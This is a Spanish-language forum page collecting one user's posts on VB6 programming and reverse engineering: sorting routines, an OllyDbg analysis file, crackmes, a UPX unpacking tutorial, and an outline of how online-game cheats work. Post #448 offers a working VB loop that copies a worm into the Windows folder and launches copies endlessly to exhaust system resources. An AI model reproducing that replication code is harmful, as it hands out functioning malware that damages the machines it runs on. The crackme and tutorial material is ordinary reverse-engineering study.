Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Mad Antrax

#441
Es más sencillo si aplicas el ordenamiento por Inserción

http://es.wikipedia.org/wiki/Ordenamiento_por_inserci%C3%B3n

Código (vb) [Seleccionar]
Private Sub insertionSort(ByVal numbers() As Integer) ' Es una función,
'debemos pasarle el array de números desde el Sub Main()

       Dim i, j, index As Integer
       i = 1

       Do
           index = numbers(i)
           j = i - 1

           While ((j >= 0) And (numbers(j) > index))
               numbers(j + 1) = numbers(j)
               j = j - 1
           End While
           numbers(j + 1) = index
           i = i + 1
       Loop Until i > (UBound(v))
   End Sub



Tambien tienes el ordenamiento por Selección

Código (vb) [Seleccionar]
For i = 1 To n - 1
   minimo = i
   For j = i + 1 To n
      If x(minimo) > x(j) Then
         minimo = j
      End If
   Next j
   temp = x(i)
   x(i) = x(minimo)
   x(minimo) = temp
Next i
#442
Buenas a todos

Basándome en una de las lecciones de Ricardo Narvaja, descubri un buen truco para reforzar nuestro OllyDbg. Concretamente es la lección 116 del curso nuevo de Ricardo Narvaja. En dicha lección se menciona un fichero llamado "common.arg" en el que podremos personalizar el análisis de las funciones de un módulo. He cogido la idea y la he ampliado añadiendo las principales funciones de Visual Basic 6.0, así como una extensa información adicional que encontré en un foro. El resultado es divertido.

Nuestro OllyDbg 1.10 por defecto no analiza correctamente las funciones propias de MSVBVM60.DLL, éste es el aspecto del análisis de un ejecutable típico en VB6:


Se pueden ver las llamadas a las funciones en la mayoría de casos, y también nos muestra algunas cadenas en UNICODE y argumentos de la llamada de la API/función, pero si utilizamos el fichero "common.arg" el resultado es MUY distinto:


Además, y haciendo referencia a la lección original de Ricardo Narvaja, podremos poner Conditional BP en la API que queramos para poder logear y dumpear con un solo click todos los string's y argumentos.

Para crear éste fichero he tenido que generar un ejecutable que he llamado dumper.exe con el siguiente código:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
   Dim A() As String
   Dim B As String
   Dim C As Long
   Dim D1, D2 As Integer
   Dim E As Double
   Dim X As Variant
   
   Exit Sub
   Command1.Enabled = False
   
   B = "####### START DEBUGGING HERE PLEASE #######"
   On Error Resume Next
   A() = Split("THIS IS MY SPLIT STR", " ")
   B = Join(A(), ",")
   
   B = "strCAT1" & "strCAT2"
   
   Open "C:\test.txt" For Output As #1
       Print #1, "PRINT EXAMPLE"
       Write #1, "WRITE EXAMPLE"
   Close #1
   
   MsgBox "MSG_BOX_TEXT", vbOKOnly, "MSG_BOX_CAPTION"
   If "strCMP1" = "strCMP2" Then
       End
   End If
   FileCopy "C:\test.txt", "C:\FILECOPY.TXT"
   C = FileLen("C:\test.txt")
   Kill "C:\test.exe"
   Kill "C:\FILECOPY.TXT"
   MkDir "TEST_DIR"
   RmDir "TEST_DIR"
   If InStr("INSTR EXAMPLE1", "INSTR EXAMPLE2") <> 0 Then DoEvents
   C = Len("LEN STR")
   C = LenB("LENB STR")
   B = Mid("THIS IS A MID STR", 5, 2)
   
   If "LIKE STR" Like "LIKE STR2" Then DoEvents
   D1 = 10
   D2 = 5 + 10
   D2 = D1 + D1
   D2 = 5 / 2
   D2 = 5 * 2
   D2 = 5 - 2
   D2 = -D2
   D2 = 5 Mod 2
   D2 = 5 Xor 2
   D2 = Not 5
   D2 = 5 And 2
   D2 = 5 Or 2
   D2 = Sin(50)
   D2 = Cos(50)
   D2 = Tan(50)
   D2 = Atn(50)
   D2 = Exp(50)
   D2 = Log(50)
   X = Hex(500)
   X = Oct(600)
   X = Asc("Q")
   X = Chr(255)
   Form1.ForeColor = QBColor(3)
   Form1.ForeColor = RGB(255, 200, 150)
   Randomize 50
   D2 = Rnd
   B = InputBox("INPUTBOX_PROMPT", "INPUTBOX_TITLE", "INPUTBOX_DEFAULT")
   SendKeys "SENKEYS STR"
   Shell "cmd.exe", vbMaximizedFocus
   For i = 1 To 10 Step 2
       If i Mod 2 = 0 Then DoEvents
   Next i
   B = Environ("USERNAME")
   B = Command$
   B = Replace("MY REPLACE STR", "FIND STR", "REPLACE STR")
   B = StrReverse("REVERSE STR")
   Command1.Enabled = True
   B = "####### STOP DEBUGGING HERE PLEASE #######"
End Sub


Os dejo a continuación más pantallazos sobre el análisis que conseguiremos con el fichero "common.arg":




Mención especial al análisis de la función RGB() que desglosa al detalle los 3 colores, así como la función StrReplace(). El fichero no está completo, no he podido analizar el 100% de las funciones, así que si alguien puede aportar algo, mejorar o cambiar alguna función... estaría agradecido, ya que el trabajo es algo durillo jeje.


Os dejo un ZIP con el fichero "common.arg", hay que copiarlo en la carpeta de nuestro OllyDbg 1.10, al lado del ollydbg.exe. En la ventana de LOG [L] aparece si se ha cargado correctamente. También os adjunto el dumper.exe que he utilizado para dumpear el análisis correcto de la librería MSVBVM60.DLL, hay que analizar muchas funciones que me he dejado y hay otras que no he sabido como analizarlas. Agradeceré cualquier tipo de colaboración:

http://www.mediafire.com/?dk13l8lh2o9j7k8
#443
Vayaaaaa pues sí que ha durado poco el crackme... xD

Puedes postear las lecciones a las que haces referencia en tu resolución? Quiero aprender como lo has resuelto y no fallar en ese punto de nuevo. Si puedes haz algún tutorial (si no es mucho pedir).

Te animas con el KeyGen?
#444
Hola a todos

Cada día aprendo cosillas nuevas y cada día se me ocurren crackme's diferentes... He diseñado un nuevo crackme que recopila un poco todo lo que he ido aprendiendo, se llama SpongeBob y aquí os presento la versión 1.0:


El crackme está programado en VB6, os dejo una breve descripción:


  • Programado en VB6 Nativo
  • Está empacado y comprimido
  • Está protegido
  • Tiene una VM bastante bestia
  • Tiene comprobaciones de CRC (Anti-Patch)
  • Hay que habilitar un control deshabilitado...
  • Hay que generar un serial válido
  • Si puedes, programa un KeyGen
  • El crackme se reinicia si fallas el serialcode
  • Parchear MSVBVM60.__vbaEnd no sirve de nada
  • La comprobación del serialcode no utiliza MSVBVM60.__vbaStrCmp

Bueno, me he dejado la piel en el crackme. Espero con ansias los primeros reportes de karmany y MCKSys...

http://www.mediafire.com/?3vrbrld8v21fg3u

Buena suerte!! :D
#445
Cita de: karmany en 11 Octubre 2013, 21:41 PM
Muy bien hecho, se entiende perfectamente. Secillo y muy bien explicado.

Mi pequeño granito de arena es que yo cuando veo un UPX no pongo ningún Breakpoint y suelo avanzar con la tecla "Av Pág" hasta encontrar el JMP, pero lo del BP está bien hecho para otros packers diferentes...

Saludos!!

PD. Como bien explicas y haces en el tutorial, yo siempre digo que la primera opción para descomprimir un UPX debe ser el propio UPX. Además UPX, en su licencia, no permite la modificación de su stub, por este motivo la mayoría de programas se deberían descomprimir con UPX...

Gracias a todos por los comentarios. Es mi primer tutorial así que tengo que aprender jeje. Me ha hecho gracia tu comentario final, el crackme que he adjuntado no se descomprime con UPX pero no he modificado su stub (osea, no estoy quebrantando su licencia). Simplemente he editado el nombre de las secciones del PE una vez generado el ejecutable comprimido.

Voy a postear otro crackme, a ver si consigo al menos que dure más de 48h sin soluciones :P
#446
Usa WinZip, WinRar, 7zip....

Comprime el fichero de la base de datos en trozos de 1MB (por ejemplo) y los envías por mail.

No necesitas VB para hacer esa acción. saludos.
#447
Bueeeeeeeeno

Primero de todo quiero avisar que éste es mi primer tutorial que hago sobre Ing. Inv. tengo MUY poca experiencia y todavía me falta mucho por leer, pero me gustaría empezar por algo y como es lógico voy a empezar por lo más básico de todo: Desempacar a mano un UPX

No pretendo enseñar nada nuevo a nadie, digamos que el contenido de éste tutorial es conocido por el 99,9% de la gente que lleva como mínimo 2 días estudiando Ing. Inversa. Tanto el crackme como el tutorial lo he creado yo mismo, así que me gustaría saber opiniones, si está bien redactado, si se entiende, etc... ¡quiero mejorar!

Descarga: http://www.mediafire.com/?2l7w7qwnntscybp

Además, el tutorial viene con un crackme de prueba muy gracioso, ya que está programado con VB6 y no utiliza la función __vbaStrCmp para comparar el serial.

Saludos!! :)
#448
La idea es buena, pero yo lo implementaría de alguna otra forma.

Usar un While (5=5) es válido, pero para iniciar un bucle infinito lo mejor es usar Do - Loop, por ejemplo:

Código (vb) [Seleccionar]

Randomize
Do
A = Environ("WINDIR") & "\" & int(Rnd * 99999) & ".exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", A
DoEvents
Shell A

Loop


El ejemplo utiliza un bucle infinito, copia el virus en la carpeta del sistema con un número aleatorio y ejecuta dicha copia. Haciendo eso conseguirás ejecutar exponencialmente una misma copia del gusano, consumiendo los recursos de memoria y el espacio libre.

Mi código se puede mejorar, es solo un ejemplo :)
#449
El amigo MCKSys ya te ha respondido de forma correcta, te añadiré un poco más de información para que avances en tu aprendizaje sobre hacks para juegos online.

Los juegos online están divididos principalmente en 2 partes (algunos hasta 3 partes). Se basan en una comunicación entre el servidor del juego [server] y el programa del usuario [client].

Los juegos offline (o single player) carece de una división, y todo se centra en un único punto que es el propio programa (juego) que llamaremos [cliente]

Para poder hacker hacks/cheats en un juego offline yo recomiendo utilizar Cheat Engine, ya que a día de hoy es la herramienta más avanzada que existe. Todas las variables, funciones y algoritmos del juego offline se ejecutan en el [cliente], pudiendo modificarlas a nuestro antojo gracias a Cheat Engine.

Para poder hacer hacks/cheats en un juego online es más complicado. Primero necesitas tener la capacidad, herramientas y conocimientos para poder desensamblar el [client] que se ejecuta en local y conocer al detalle como funciona el juego, saber qué variables se almacenan en local. Además necesitas conocer la comunicación que establece el [client] con el [server] (en un juego de calidad, esa comunicación va cifrada y con un control de suma "checksum" que evita la edición de dicha información. Una vez que has completado esas 2 tareas (te puede llevar meses de trabajo) procederemos a lo siguiente:

1: Si hemos detectado alguna variable almacenada en el [client] intentaremos editarla con Cheat Engine, ésto ocurre MUY pocas veces, ya que cualquier programador o empresa de videojuegos sabe que las variables importantes se deben programar/almacenar en el [server] para evitar hacks/cheats locales como Cheat Engine.

2: Si hemos detectado algún paquete importante durante la comunicación entre nuestro [client] y [server] podemos intentar modificar el [client] para mandar paquetes editados modificados. Te dejo un ejemplo inventado:

Mientras juego online, obtengo 100 monedas de oro. Ejecuta mi Sniffer de paquetes y capturo el siguiente mensaje:

From: [server]
To: [client]
Msg: 01/01/2013#map_dessert#get_item_gold#value=100


En el ejemplo se puede ver claramente que tras coger las 100 monedas, el [server] envía un paquete a mi PC con la información exacta del evento que se ha producido, pudiendo en ese caso editar el paquete de la siguiente forma:

From: [server]
To: [client]
Msg: 01/01/2013#map_dessert#get_item_gold#value=999999


Si todo funciona bien, obtendremos 999999 monedas ya que hemos engañado al [server] modificando la información del paquete.

El problema es que ésto funciona normalmente en la "teoría", ya que la información entre un [server] y [client] suele ir protegida, cifrada, cifrada, codificada, comprobada y con firmas digitales (por ejemplo un certificado SSL) que autentique la información e integridad del paquete, haciendo que sea complicadísimo su edición.

Evidentemente que se podría llegar a analizar todo hasta descrifar el paquete, editarlo y volverlo a cifrar, pero te aseguro que antes de que consigas hacer eso, el [server] y el [client] se habrán actualizado con una nueva clave de cifrado y todo tu trabajo habrá quedado inutilizado.

Se entiende? En resumen:

Se puede hackear juegos online? Teoricamente, Sí
Puedo hacerlo con Cheat Engine? No
Puedo preguntar en el foro como hackear juegos online? No
Me va a ayudar alguien del foro a hackear juegos online? No


Espero haber aclarado dudas respecto éste tema.

Saludos :D